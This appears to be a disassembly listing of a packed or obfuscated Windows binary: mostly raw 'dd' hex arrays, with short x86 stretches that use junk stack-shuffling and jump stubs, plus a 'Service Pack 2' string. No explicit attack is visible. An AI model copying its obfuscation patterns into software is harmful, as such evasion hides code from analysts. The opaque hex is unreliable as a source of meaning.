4CC9CA65h, 0B231172Fh, 8771397Bh, 8D7D9A83h dd 18913EBBh, 5A6AEECEh, 3B85C011h, 0FE042542h, 3369BF18h dd 0A086FE68h, 0E03369BFh, 0BCA1FA5Ah, 0CD0C528Ch, 483AF050h dd 42957DCDh, 0A926E597h, 0E435C87Dh, 3F1B3C11h, 5DCE0E1Eh dd 0F2EB02F0h, 0DF06DBFBh, 1444847Bh, 95207C9Bh, 0D34226ACh dd 1A803h, 148BCF00h, 0F32A61FFh, 5CD10444h, 2578D927h dd 8D1E7E8Eh, 95CA0B56h, 2DBBE843h, 0C11FB4E7h, 98E81F8Eh dd 904EE53Ah, 5DA389B1h, 77FF3981h, 0E536668Ah, 43E03E4Eh dd 96DB2B14h, 3880D217h, 99C18CF4h, 7ADE5187h, 29141740h dd 738F4C11h, 1B7BA535h, 0FC6EBC84h, 0DD4C8F91h, 858C3868h dd 0E2984522h, 0CB4342C6h, 397BB4E9h, 57CE65B5h, 0E045D839h dd 84D96D95h, 70BE9004h, 533768ACh, 5445C2EFh, 0B17A8Dh dd 66FF0000h, 0EA82FB38h, 0A7F65DAAh, 0ED5082BEh, 67865A75h dd 2D82D033h, 0A72876F6h, 0D4453877h, 6785C8AEh, 0FC2ED833h dd 3E69DB42h, 192A503Dh, 0A93573AAh, 0FB94883Fh, 51839DF8h dd 5D2567DEh, 455A063Ch, 4C3E3B85h, 8EFD5FC1h, 72A1D350h dd 0CA09A2F2h, 26AC1344h, 0C28F4FC6h, 0E9000000h, 8BD90EA5h dd 2EBED544h, 0C301B6EBh, 98E81F92h, 2DB0E738h, 0C25DBFE0h dd 0AE015795h, 71A8EB79h, 0DF5482C2h, 6F97F6A8h, 39815E89h dd 99A81519h, 3B74A478h, 381E0642h, 48336781h, 2C6CBA9Eh dd 458A92F3h, 4D9B6CD4h, 3626940Dh, 0B05848D4h, 66C0D106h dd 829AFB38h, 4B7ADE53h, 194EE535h, 0C6091734h, 8209EF57h dd 0EF993367h, 0C65DBD6Bh, 0AC035391h, 0D2D241B9h, 0C4A957E4h dd 0D8B8F558h, 0B3E32234h, 59B9C77Ch, 73A57BDAh, 3074538h dd 0F62B6A02h, 0D7468997h, 23C75273h, 2B9CFA0Bh, 9DCFB6E9h dd 66B43463h, 128654C9h, 0B000000h, 0C3091786h, 5E64F568h dd 33678178h, 242C5E08h, 0FF3466A9h, 0BA8F686h, 80197A12h dd 128DC39Dh, 0A803552Bh, 2679DBB5h, 0BDF0213Fh, 0CC61B4C8h dd 59D00759h, 8953B3E4h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 240C895Ch, 49CC68h, 240C8900h, 5E08950h, 4, 42Dh, 24048700h dd 241C895Ch, 0C80EBE56h, 59560619h, 1C8B545Eh, 4C48124h dd 51000000h, 22243481h, 8F1DD970h, 0B9510843h, 8, 3181D901h dd 1DD97022h, 2434FF59h, 4C4815Bh, 8B000000h, 8956240Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 6493E95Ch, 1157FFFBh dd 264592BDh, 0D765FE97h, 19DE76B8h, 0FFC50306h, 1A715E0h dd 0CA336B72h, 9EAC3626h, 993D260Bh, 53E93Eh, 832D0000h dd 5151h, 1C570000h, 48434AC5h, 0ADF93661h, 8C88A7A5h dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 0C7009D89h, 63921DF4h dd 0DE1960h, 9 dup(0) dd 0AD0E900h, 70680000h, 0E90619E0h, 0FFFAA15Ch, 19E1C168h dd 0A152E906h, 0C568FFFAh, 0E90619E2h, 0FFFAA148h, 19E38A68h dd 0A13EE906h, 4268FFFAh, 0E90619E4h, 0FFFAA134h, 19E50D68h dd 0A12AE906h, 0B268FFFAh, 0E90619E5h, 0FFFAA120h, 19E78168h dd 0A116E906h, 9068FFFAh, 0E90619E8h, 0FFFAA10Ch, 141893B3h dd 0FF037A8Bh, 0E4286560h, 0D2564D7Bh, 0B77B3655h, 93B20034h dd 808D1A1Eh, 6A660105h, 4A7CEB2Fh, 5FA2CF53h, 0E94D63DEh dd 6953E055h, 0E01B6180h, 0DAB23147h, 39B4CA49h, 0AE109069h dd 5F2E5D41h, 2DBA7E2Dh, 0F068601Bh, 0D7506B11h, 4FC33842h dd 2F9AB195h, 0C3F6B38Eh, 0C64C305Fh, 1FFA8AE5h, 94D73E45h dd 3749060Ch, 2527C044h, 0FDE4676h, 3DE54279h, 7145EF00h dd 4851DEEAh, 2E8195Ah, 0AA01173Bh, 0EF401FE8h, 0E1659D97h dd 0E562861Eh, 9CAE1E5Ch, 928h, 8084F717h, 73B7E6E7h, 58DCD9F4h dd 46CAC1CFh, 33F7AAD9h, 0F3E84A8h, 0F4118E92h, 0DEEA75B9h dd 0BEC05FA3h, 0D32E4BCFh, 0E972E752h, 0EDD77C55h, 6366567h dd 0D0544779h, 102B51B0h, 18C12940h, 171D51C4h, 5B470B94h dd 5FA849DCh, 70C36C32h, 0F355E4DBh, 5536B8Fh, 54C0CBEBh dd 0C5E90D4Dh, 820E46B5h, 0EAEB21FBh, 52EDE82Ah, 0B055E423h dd 0EE3C3E55h, 488BA939h, 3BE150DDh, 1E6255E4h, 3BF140EDh dd 0E7255E4h, 3A7B04h, 78080000h, 0D7039110h, 0D3CEFDB5h dd 0F93B5FBBh, 1B618077h, 0D8F675E0h, 0F7ED5E2Fh, 2D5163F2h dd 0D678F6E7h, 95F949DCh, 5A79C465h, 7C9B55E4h, 5517C515h dd 0CDA78BA9h, 0D000000h, 4241188Bh, 92DB3F4Fh, 53F092A7h dd 5DA583Ch, 0EF708803h, 0C29DADE0h, 0EE5DDAC0h, 6553F092h dd 98B0ED1Ah, 0C4F4183Ch, 0E1289BBh, 0A7E2EE7Dh, 92380B94h dd 0D7BB53F0h, 96EA505Dh, 0B12C53F0h, 0F096C574h, 2015E53h dd 0F71B7F8Fh, 215C6E3Dh, 4D4042DDh, 5024C53Dh, 7E58FA3Bh dd 6DD149DCh, 7C08D9A9h, 0D68DEE4Fh, 0A2A64FCBh, 0FEB3D2A9h dd 6833413Ah, 8CDA3DF0h, 3948070Dh, 5235C344h, 0D34B6302h dd 7D7C1h, 0EBA6A600h, 1687B827h, 3F7A9512h, 275E6CFBh dd 484544E3h, 0A56D47C4h, 0B827EBA6h, 910E128Bh, 69F63A75h dd 0B5E02457h, 735AE936h, 0BAD955E9h, 35686776h, 0A25476F1h dd 0C43AECA1h, 100FF7FAh, 0A46EB2D6h, 0DEE06180h, 0E53B9FAFh dd 3727EF02h, 0B1CAEEE2h, 0DC51E674h, 0F2283849h, 17B2410Ch dd 0F75BAF65h, 0F31554C7h, 0E0480B8h, 0E4DCB08Fh, 5CB35255h dd 0A8DAD01Eh, 0CEEE8Bh, 67CA0000h, 79063665h, 8627574Ah dd 53F09640h, 3198FE76h, 18BBB38Bh, 871844B9h, 56DCC02Ah dd 0E1EF87B9h, 123692AAh, 3C6F910Eh, 94C99F0Ch, 0E446BDA6h dd 0AA3B7381h, 2B32ADDEh, 0EF6B631Ah, 0F05F53EEh, 0A66CD053h dd 0B4D3AA05h, 98BA3BF9h, 1149DCB7h, 2A31E2Dh, 55E47737h dd 8E4AC84Ch, 6A6117F6h, 0CB12B1CDh, 2582FD4Fh, 5FDB1B16h dd 1F6BA9ADh, 4A79003Bh, 3554D357h, 9E33B778h, 0DD4D6301h dd 6D3CFh, 0EFA2A200h, 128BBC2Bh, 3B76910Eh, 235A68F7h dd 4C4140DFh, 0D96943C8h, 0B433F7AAh, 8D1A1E97h, 65020681h dd 89E42863h, 7046F532h, 0B6DD55E9h, 35686772h, 0C2C39AF1h dd 0DD57B3CBh, 7D81FC0Eh, 5A517F0Eh, 0EA6CA622h, 5366567h dd 30484546h, 5F6F1E2Fh, 615DD7FBh, 9AB1EC1Eh, 47CDC8C3h dd 6361F893h, 7EB41028h, 0F092C07Fh, 92E60753h, 527F0E79h dd 6DA7235Bh, 0DAB21A60h, 87201B49h, 55E94DB4h, 14274BCFh dd 0FC6F3355h, 0E97280B3h, 3E3F0355h, 55E97203h, 0BB971022h dd 99ED2DBEh, 128D91B5h, 3E0DAAF0h, 0B555E969h, 259DADD1h dd 1A9BB0C4h, 4FC592E8h, 0A01A1D61h, 0F862FF21h, 60EB280h dd 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh, 97B532F6h, 808F181Ch dd 0AE82090Dh, 70B4E918h, 5FA3DAF7h, 45C9C4C0h, 31F5A8DAh dd 89B8E544h, 0A55E971h, 6567C7C9h, 47790636h, 295B2454h dd 6055A72h, 64EB738Bh, 4B3050Dh, 0F1ACDEEDh, 0D8883DAh dd 39E75307h, 4585948Ch, 7, 1592A53h, 0B9400000h, 53F09286h dd 0BCC3A041h, 65D41590h, 0FE53F092h, 0D845769Ah, 49DABD57h dd 0F887B498h, 0D453D7C6h, 8EFF00B2h, 0C6F61A7Eh, 41EE8F5Eh dd 55E94DF2h, 0D8D5F671h, 3A7B90B4h, 4FC5B6C8h, 0DF550F41h dd 63913B7Eh, 0B7132B62h, 38A86F93h, 7062FF7Fh, 5560A18h dd 25250000h, 839A66Ah, 0FB169195h, 0DFED7ABEh, 0C8C760A4h dd 0E6CA51D5h, 0B87C3150h, 0A76B222Fh, 8D910C38h, 79BDF012h dd 3100AD1Ch, 0B255E976h, 65679F01h, 47790636h, 295B2454h dd 3055A72h, 38177088h, 0D87749D1h, 3D7092B1h, 8C8F5DF9h dd 72F8594h, 85000000h, 0A62Ah, 61804000h, 3147E01Bh, 0CA49DAB2h dd 14363546h, 0F80A9599h, 47067585h, 0DF3B534Ah, 0C44E3F40h dd 506B11F0h, 0C35D42D7h, 3D4A954Fh, 16374840h, 0CFF35767h dd 0B7C990ABh, 37A8CD3h, 0F34E8F0Bh, 0D25FC32Dh, 799B75B0h dd 93ECA075h, 8173B72h, 0F8B83FAh, 86B827EBh, 6E7FE717h dd 9E44E11Ah, 5745EF1Fh, 99C62CF3h, 82FA5CE5h, 48BB0h dd 275A6A00h, 4A4344E3h, 732E59C6h, 9B1230AFh, 84F90897h dd 61D1FB80h, 7CEB2F62h, 55D2564Fh, 2DBA7E39h, 0F19C601Bh dd 771E2D8Ah, 7E9555E9h, 13A2ABAh, 80400000h, 47E01B61h dd 49DAB231h, 0D2CFFE8Dh, 0ACD45EBAh, 0BACC93A8h, 9EA03FC3h dd 728CBFF8h, 0E74055E9h, 55E97254h, 33176BEFh, 6687FF0Fh dd 0ABBCF912h, 3C4FC35Dh, 0EE094FAAh, 2347751Eh, 0D6E5828h dd 0DA34AC5h, 0A3A5A407h, 89BB24E8h, 6382FA12h, 0E6EE615h dd 418A549h, 0A9F6B143h, 45EF7CF1h, 0BD191E62h, 0D75CE5B6h dd 3E65567h, 0B5D50000h, 98A936FAh, 8B8621E5h, 6F9D0A0Eh dd 5877F034h, 765AE125h, 48CCC1C0h, 37FBB2DFh, 1DE19CA8h dd 90D8082h, 0A1901D6Ch, 2255E977h, 0F48B2F91h, 0B857DDD8h dd 94A70086h, 2F53F092h, 0A497102Bh, 3F53F092h, 7807375Bh dd 0E29BAC46h, 324A6EEAh, 0E1207784h, 0CC68ACDFh, 85948D1Eh dd 6EA2E878h, 0A1811B31h, 4AC8EC9Fh, 5BB9h, 61807700h dd 56517D0Ch, 0A89BA226h, 2B53F092h, 0AF080327h, 49DC2C91h dd 4605361Ah, 0D83C4C49h, 0F712695Ah, 0B3776BAh, 3755E4DCh dd 0FA556615h, 0E4DC8EBDh, 0F3010555h, 5CD93447h, 55E4DCEDh dd 7B10E266h, 0B6255550h, 0EBE39AB7h, 60D35C6Fh, 0E355E4DCh dd 1D8B959Fh, 21000003h, 18306B67h, 0D2564547h, 40783355h dd 2C890D3Fh, 53F0921Dh, 7D8EB296h, 6CA6E3EEh, 1181D7A4h dd 168DBB70h, 2C8C62E6h, 0FFB77DB0h, 0C4619AEEh, 49DCEA0Ah dd 0CE6F9FE3h, 55E4087Fh, 427A315Fh, 19860C3Dh, 55E4082Ah dd 8981A5A9h, 51D9305Fh, 50A2C914h, 8BA9228Ah, 3314h, 20223900h dd 80BDA76Dh, 47E01B61h, 49DC6CD7h, 97EC196Fh, 3A6663C5h dd 748488F8h, 0E4020A35h, 66DE855h, 0A91D26F4h, 0D8E9708Bh dd 0B79C6FA5h, 18000000h, 6366567h, 27574A79h, 852658h dd 0AA64A96Dh, 9CE31B3Fh, 42E3C16Ah, 0E9122840h, 0C27841C5h dd 1853F06Dh, 0F473B7E6h, 6A2320D2h, 0BAD2F652h, 0A6D5A342h dd 0DC88B579h, 6062F949h, 7BB91D2Dh, 7F070B0Fh, 44E11A6Eh dd 4FCAEE42h, 152481FCh, 0AE5FDB5Eh, 341868AAh, 9E737107h dd 7E4EA5D0h, 55740BB4h, 3C4BD458h dd 0C06CBE41h, 94046301h, 21786h, 0ABE6E600h, 0D6C7F867h dd 0FFBAD552h, 0E79EAC3Bh, 8858423h, 0E5AD8704h, 0F867ABE6h dd 0D14ED2CBh, 0A936FAB5h, 7520E497h, 759AA9F6h, 0FA1955E9h dd 0D7F48B36h, 888754DEh, 74961115h, 0A5C9C4C2h, 61809361h dd 3753E5E0h, 0A420587Ch, 3C2A8B80h, 0B549DC6Ch, 0C578B9D1h dd 2755E49Ch, 0D96665E4h, 5793BDA6h, 6A628641h, 304724EEh dd 162582FDh, 0EA55E48Ah, 0E48AFE4Dh, 0BD117555h, 69B75BD9h dd 0B58BA8A4h, 16CFBDBFh, 7685255Ch, 0E4801A29h, 7FB59955h dd 0D78Ch, 65672800h, 4A790636h, 40862757h, 9A53F096h dd 0B599C768h, 0EC2DB6BAh, 9D81A5E0h, 81FC0E99h, 93F01189h dd 0F0662712h, 0BA2ABC53h, 739B91D4h, 7992B6DAh, 9DADE0E2h dd 5DC8FB39h, 0D7F645E2h, 0F20D53F0h, 69B6DAD7h, 0E4D1235Eh dd 49DC322Ah, 0CBBB7FC3h, 1F9AB53Ah, 6A8EFF00h, 9DB3D451h dd 0C0444FCBh, 1895B4CBh, 17C8B14h, 219B6FEh, 0CCDE4E63h dd 108h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h, 26EAA1AFh, 13178AB9h dd 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h, 0F34E2BEFh dd 0E97A87B2h, 0CDF71C55h, 0F1356867h, 0AE20CA9Ah, 60994B0Bh dd 3CF2E521h, 0F93BE8E2h, 3D7A2022h, 53F0450Eh, 65668185h dd 90B41028h, 9CAF087Bh, 1753F045h, 0E331E133h, 6366567h dd 0D0544779h, 102B51B0h, 49561A40h, 6DCA160Ah, 53F0ADDEh dd 47CDF155h, 82263B64h, 73EE49DAh, 0EA8C0732h, 7AB89C55h dd 6AF10A0Eh, 0AE2A225Fh, 94EB5864h, 890D3D78h, 0FBB2D48Bh dd 0BDFA55C0h, 55EA8C8Eh, 9380105h, 8A55EA8Ch, 306B9986h dd 0C276BC18h, 75932325h, 0B1C9C4C5h, 0BD193155h, 0EC1B6299h dd 0F73D99B1h, 165576B7h, 0E14EFC32h, 0BDC8978Ah, 1AFB56D7h dd 14780E92h, 5B6D22F0h, 4143DC20h, 1F2D324Ah, 4F35464h dd 0F1ACDEEDh, 1D90B22Dh, 0E2EF7EEDh, 0FD3793ABh, 363h dd 0A68C8900h, 4346767h, 3A52497Bh, 5E6E2925h, 71890401h dd 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h ; --------------------------------------------------------------------------- pop ds push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp push 7A62h mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push edx mov edx, 1F52317Ah mov edi, 256C114Eh sub edi, edx mov edx, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi sub dword ptr [esp], 41A40C5Dh pop dword ptr [esi+8] add dword ptr [esi+8], 41A40C5Dh mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_585C7C ; --------------------------------------------------------------------------- or [edx-38h], bh retn ; --------------------------------------------------------------------------- cmp ecx, edx retn 0B87Eh ; --------------------------------------------------------------------------- db 0BDh dd 30619E9h, 84E0FFC5h, 83020499h, 3C6EA5C6h, 418E9DEh dd 0C1028F69h, 86C8D04h, 0CE2041D4h, 230E3F9Fh, 0E54C9FC0h dd 0AB4C6427h, 8F0F0163h, 0DE3B29D5h, 211BD958h, 5C17D532h dd 0F6533EA0h, 0F293C3Bh, 4222D454h, 0E7C5344h, 4F000BB1h dd 62134BECh, 816C76A4h, 0D61DC39Eh, 2F75B7CAh, 8B3D64D4h dd 0EA8166C0h, 0BD83909Bh, 61410F1h, 83097500h, 140E25BDh dd 19740006h, 0C08B5350h, 3FCB8h, 19858900h, 8D061418h dd 16A7529Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h dd 3FCB8h, 19858900h, 8D061418h, 16A4419Dh, 5BD3FF06h dd 7E858h, 0E9230000h, 7047C17Dh, 5AF2B7DCh, 4C2F25BAh dd 0FCC08B76h, 1CDBD83h, 0F010614h, 9684h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0C00B5218h, 0A7090291h, 0CE97665h, 0D7000000h, 7257B9DEh dd 0E172CDD3h, 6655BF63h, 2AA1D381h, 29BD83h, 0F000614h dd 4E85h, 13E900h, 0FDAE0000h, 0FF30B172h, 6E3956F0h, 51F13ADFh dd 95B44418h, 5A64BB57h, 0BD8330FCh, 6140CC9h, 0B6840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 2C87C357h, 1E74CF12h, 0E96DF473h dd 406h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 62C35343h, 0F28197B2h, 75F471D9h, 51EB8052h, 0FC5Ah dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 7F37F0C3h, 8B660720h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C6FB5D5Fh dd 89B6403Fh, 13860Fh, 0EE90000h, 34000000h, 233FDF19h dd 0B9E30D24h, 0EA078AE2h, 1216DAD5h, 0C1A5B25Eh, 0C15C6ABDh dd 45C91A08h, 0C0C215BBh, 952637D3h, 0CBA54AF3h, 0A24BFBB2h dd 81A357B2h, 28FE68EFh, 20A7F1DEh, 0B5A7CEF6h, 0E4A375B2h dd 122079E7h, 2073A22Eh, 0CE071E41h, 0A57FBEA3h, 0A1C9ABB2h dd 0A1A03DE7h, 0FC83EAB2h, 0CD2A2871h, 0E522BE96h, 0A1BA5996h dd 0F4E6AEB2h, 0E904E171h, 0F42E85ADh, 0A1A3D55Ah, 4C22B7B2h dd 0A7BA990Bh, 0AE7331D4h, 0A1A35C3Ah, 61285BB2h, 49F057D8h dd 0A1A3ABB1h, 0FA608E92h, 0A587B63Bh, 0A5873133h, 0A1A3BAA9h dd 0F4600EF1h, 0CCB85572h, 31C12257h, 0A1A3A55Bh, 0A5FA65B2h dd 86DCFE3Eh, 0EB4CE128h, 0F1BA2C79h, 317AD6D4h, 0C7744532h dd 0AE38EE09h, 5F87E7B3h, 49F1D5D8h, 0A1A3EAB1h, 0FB602F92h dd 0A587EE3Bh, 0A5871933h, 0A1A3AEA4h, 0E26005F0h, 7E18216Eh dd 48AB949Dh, 0A1A3EAA6h, 8BEA413Bh, 3A0CA0A3h, 47CEDF65h dd 5386C4F6h, 0CEA6BA0Ah, 0F2A3C1EAh, 0A1A3D65Ah, 62F8CAB2h dd 85FFFCE9h, 85E73BB6h, 0A1A34BB6h, 62F0EDB2h, 0C7A96105h dd 97FC4833h, 0A1A15ABDh, 2814EAB2h, 0A1A179B7h, 0F3A3D0B2h dd 0A1A35E5Ah, 62F98EB2h, 85F7DEE8h, 85E72AB6h, 0A1A3CFB6h dd 62F1A8B2h, 9EB4E130h, 1A61C319h, 97EF5F2Ah, 0A1A3A85Bh dd 6912EDB2h, 2AB4053Ah, 0F7A3BFBAh, 0A1A3E95Ah, 62FD55B2h dd 85D733ECh, 85E7DCB6h, 0A1A3B6B6h, 62F511B2h, 834E447Fh dd 781CDA72h, 0A1A3E45Bh, 89C8E2B2h, 6A55BA46h, 0D1E39B00h dd 0C7BE9E4Dh, 0CB5F1F39h, 0A24BFAB2h, 81A3D5B2h, 28FA29EBh dd 20A751FEh, 0B8A79EF6h, 0E0A35DB2h, 0D5BB6DE3h, 593954D3h dd 0A328A4D2h, 0F0A3D5B2h, 46238BE8h, 0A1B19CCAh, 0FCD0BAB2h dd 0DE3C1595h, 8C9BCA2Ah, 0FD7C17C9h, 0A950DE6h, 0A1A3D40Ah dd 2AC5BAB2h, 85AFFC68h, 487A36D4h, 0A1A35DA3h, 0B9746F5Fh dd 0BA1E07A8h, 9B726A6Dh, 38CC05C1h, 0A5621C30h, 0A15DF0BDh dd 1EACBAB2h, 0A1C90464h, 0A1A046E7h, 0FC8357B2h, 0CD2AF671h dd 0E522D196h, 0A1BFEE96h, 0F4E675B2h, 83925D71h, 5B4114EEh dd 2156B99Eh, 24AC3F8Bh, 0A1A3AA9Eh, 49F3D5D8h, 0A1A3EAB1h dd 0F9602D92h, 0A587FE3Bh, 0A5871933h, 0A1A3AEAAh, 9E6007F2h dd 81760FE8h, 0A0DA5E4Ah, 49F3EAD8h, 0A1A375B1h, 0F960E292h dd 0A587193Bh, 0A587EA33h, 0A1A357A4h, 7360FBF2h, 0B34AE569h dd 0B8A3EAB2h, 0AA8292B4h, 7BEFC1DBh, 0F394B050h, 1670C12h dd 0A1ADBF56h, 410CABB2h, 161B9973h, 0F0AE38B6h, 986D0BAEh dd 0A1A636BDh, 20C55DB2h, 0FAF2D060h, 0A1A3A833h, 23AC2BB2h dd 0A1A3D51Ah, 4A496F75h, 0A1A273ABh, 2BACBAB2h, 0A1A35DA4h dd 0A1A3BF5Bh, 0C1FC45B2h, 0A886E07Ch, 89B21DD2h, 877C6098h dd 224AA59Bh, 58A3BAB2h, 0A1A32A5Bh, 0A1B147B2h, 88A357B2h dd 28838A48h, 0B46708D5h, 0F9611924h, 0D2E58104h, 0A523B5EBh dd 0C7A35DB2h, 0C72E5F09h, 5EA82E31h, 0A1E92FBDh, 0A1C9D5B2h dd 0A1A002E3h, 0F88375B2h, 0ED2AE371h, 0E5225996h, 0A1BEAA96h dd 0F0E257B2h, 0DD41A871h, 0C3FF586Eh, 5D97A472h, 6672FED4h dd 0B8485037h, 0A1A35CB4h, 0A1AD46B2h, 268D57B2h, 6183C94Eh dd 0FD7B0AAEh, 3331F26Dh, 5DF90201h, 217431FAh, 571AB96Dh dd 2CA25022h, 0B852EA37h, 431E26B4h, 9AA5CC5Dh, 91A49E4Ah dd 0E66AA4BDh, 1AC54F59h, 0A1C916BBh, 0A1A046E0h, 0FB8357B2h dd 0F52AF171h, 0E522D196h, 0A1BAEE96h, 0F3E175B2h, 0CD1D3F71h dd 2294B931h, 0B5A2630Fh, 25AC56B4h, 0A1A3ABD2h, 0A1B23CD2h dd 87DFEAB2h, 9D0F2D4Ah, 297948ADh, 505C6AC2h, 0C0D0DBCEh dd 0A18AEA31h, 0AEA3ADA6h, 0A1A3EE37h, 0F1A380B2h, 0A1A3765Ah dd 62FB9AB2h, 85E7D4EAh, 85E72FB6h, 0A1A340B6h, 62F3EBB2h dd 0FD33CE12h, 26AC3A39h, 0A1A375B6h, 6CA800D4h, 0AD6AE031h dd 0AEA3A8A6h, 0A1A35D36h, 0FB56FDB2h, 0A1A3205Bh, 224A5DB2h dd 0B5A2B80Fh, 24ACBBB4h, 0A1A35D7Bh, 49F3AED8h, 0A1A357B1h dd 0F960F392h, 0A587913Bh, 0A587AE33h, 0A1A375AEh, 0EF60EAF2h dd 19CBB24h, 38E93BBBh, 0A1A35E5Ah, 48785AB2h, 83DC57h dd 0A74BA5EAh, 5CA375B2h, 927EDEE9h, 53223B36h, 0FBF859A2h dd 0F6A33DEFh, 0A1A3A85Ah, 62FCF5B2h, 85DF63EDh, 85E7F4B6h dd 0A1A3A1B6h, 62F41AB2h, 0CCFC9BA9h, 0EEBA9353h, 0A1A22FBDh dd 495BD5B2h, 0A1A3EAA0h, 0D85F61E9h, 0A64F828Fh, 0FD0427DEh dd 282135AEh, 4519C3C3h, 0FBDC818Eh, 7A495471h, 48EE11A0h dd 0A1A375FCh, 49F1BAD8h, 0A1A35DB1h, 0FB60F492h, 0A587033Bh dd 0A587EF33h, 0A1A3D5A4h, 0A60B8F0h, 0AF4AD4A8h, 96A3BAB2h dd 71C7ED7Ch, 5F3DB544h, 0C593A1Ch, 6223F655h, 20C51AFEh dd 49A18069h, 0A1A375BBh, 8D0B9B40h, 46F0966Fh, 1218C8D6h dd 1C2E0DA3h, 0A7BA47FFh, 5029583Fh, 0BC1BECABh, 92D84FEEh dd 0B5B47337h, 606C76B4h, 22571A5Bh, 372CA250h, 0B4B852EAh dd 5D431E26h, 4A9AA5CCh, 0BD91A49Eh, 0E9836AA4h, 83A4F305h dd 19EBEABDh, 0D740006h, 4DFF8D8Dh, 1B80614h, 0FF000000h dd 8B6640E1h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 5BFC57AFh, 0BB2DE883h, 323C4BE7h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0C13124C3h, 5E4AC833h, 0A6A0BA60h, 0BD8351DCh dd 61410F1h, 83097500h, 140E25BDh, 19740006h, 0C08B5350h dd 3FCB8h, 0F1858900h, 8D061424h, 16A7B99Dh, 5BD3FF06h dd 25BD8358h, 6140Eh, 53501774h, 3FCB8h dd 0F1858900h, 8D061424h, 16A45A9Dh, 5BD3FF06h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 419F8AEAh, 0E84F37C0h, 0Ch, 321EA544h, 8C8310Dh, 0F3E33F9Fh dd 0D25CBB51h, 5A5B1EC4h, 0A2E9C08Bh, 0A2000000h, 940320FCh dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h dd 69767265h, 50206563h, 206B6361h, 32h, 1Eh dup(0) dd 0C6FE900h, 0CB680000h, 0E90619F4h, 0FFFA8D90h, 19F60668h dd 8D86E906h, 68FFFAh, 0E90619F7h, 0FFFA8D7Ch, 19F77468h dd 8D72E906h, 0F568FFFAh, 0E90619F8h, 0FFFA8D68h, 19F97868h dd 8D5EE906h, 1768FFFAh, 0E90619FDh, 0FFFA8D54h, 19FE1868h dd 8D4AE906h, 0D1F1FFFAh, 0BCCD5ADEh, 0A7A23DC1h, 8BB926EAh dd 74930C10h, 4276F539h, 54D8D5F4h, 43C7BECBh, 29EDA8A4h dd 0D118CBEh, 0AD9C1960h, 2655E961h, 65672BEDh, 0DF950636h dd 2FC30E62h, 7724EEEEh, 0A9E22655h, 0C89063DBh, 0AE648283h dd 8A81F716h, 0DCCE612Dh, 76868A49h, 0B2D3AA05h, 2C47F2FBh dd 78DC55E4h, 2C043BBAh, 0BBE655E4h, 0F311A3A4h, 0F19E94B8h dd 5514879Ah, 0CD7C7D38h, 4655E42Ch, 82A830C2h, 1C8BA946h dd 40h, 1B618098h, 6CD747E0h, 242849DCh, 0D9D1A714h, 0FDE06AB6h dd 0A0DDEE39h, 40DC6352h, 0CEFC55E4h, 0A6D8A7D7h, 0E211C7F7h dd 2417908Bh, 0BF55E440h, 0ABAAB7DBh, 5EE83644h, 0BDF68BA9h dd 22000000h, 6366567h, 27574A79h, 47772658h, 93970638h dd 0F097F6CAh, 0C7B6C853h, 0EBA2A443h, 0EE9A6BD3h, 7EF650DDh dd 0F00F49DCh, 6E2925CFh, 0B2D6324Ah, 81F7166Eh, 0D6C02D8Ah dd 0E76B4FCBh, 29A99CD4h, 54D70300h, 6F9EEDDEh, 0A0C4B7C9h dd 4CFF38ABh, 0C75FDA3Bh, 8A01B143h, 58DAD1F3h, 6098483h dd 6302923Ah, 2C4052CAh, 0AC00000Ah, 821DE19Ch, 9F080C81h dd 6AF53974h, 42DD215Ch, 41CA4E43h, 0F5A8A76Fh, 1C99B631h dd 8838F18h, 32699B04h, 0FF3883EEh, 55E9664Ch, 8B088CC7h dd 0DD28D3F4h, 830C74BAh, 55B1C9EDh, 8C0100DFh, 4CED1F88h dd 7339BC12h, 671A297Fh, 19DB5F43h, 0E01B6180h, 0DC6CD747h dd 0F2332849h, 55E49C47h, 15255877h, 5579DDB1h, 9CB98425h dd 6D9955E4h, 0CA91A32h, 55E49C3Dh, 3355D2B6h, 68C74078h dd 212C3901h, 0BBE457CAh, 55E49C88h, 6D0D070Bh, 8BA89ABFh dd 0DADFh, 0F21D6C00h, 0F10387B7h, 2165670Fh, 4575285Ah dd 9249F8C1h, 666153F0h, 0C3B7132Bh, 5C235B7Fh, 0D958702Dh dd 53F097E3h, 0B9D2C9FBh, 0E752D34Eh, 7C53F096h, 9662D118h dd 66E153F0h, 0F052964h, 0F3AADC4Bh, 0D8263DBh, 25149101h dd 0BE53F096h, 1885B6DAh, 53F09629h, 8982A6AAh, 0DC7E0A2Ch dd 5BDFA349h, 9DAEDA2Bh, 0CBEBEE10h, 0E618674Fh, 0E17893B7h dd 0CC7FB8E2h, 475FDA52h, 6B2224C3h, 0B8D3F753h, 5251E04Dh dd 95D25FDAh, 8A0E3E79h, 7BE4AC66h, 0CCE514Ch, 0E463027Bh dd 8F1A674h, 61610000h, 4C7DEA2Eh, 3752CD51h, 1B29B67Ah dd 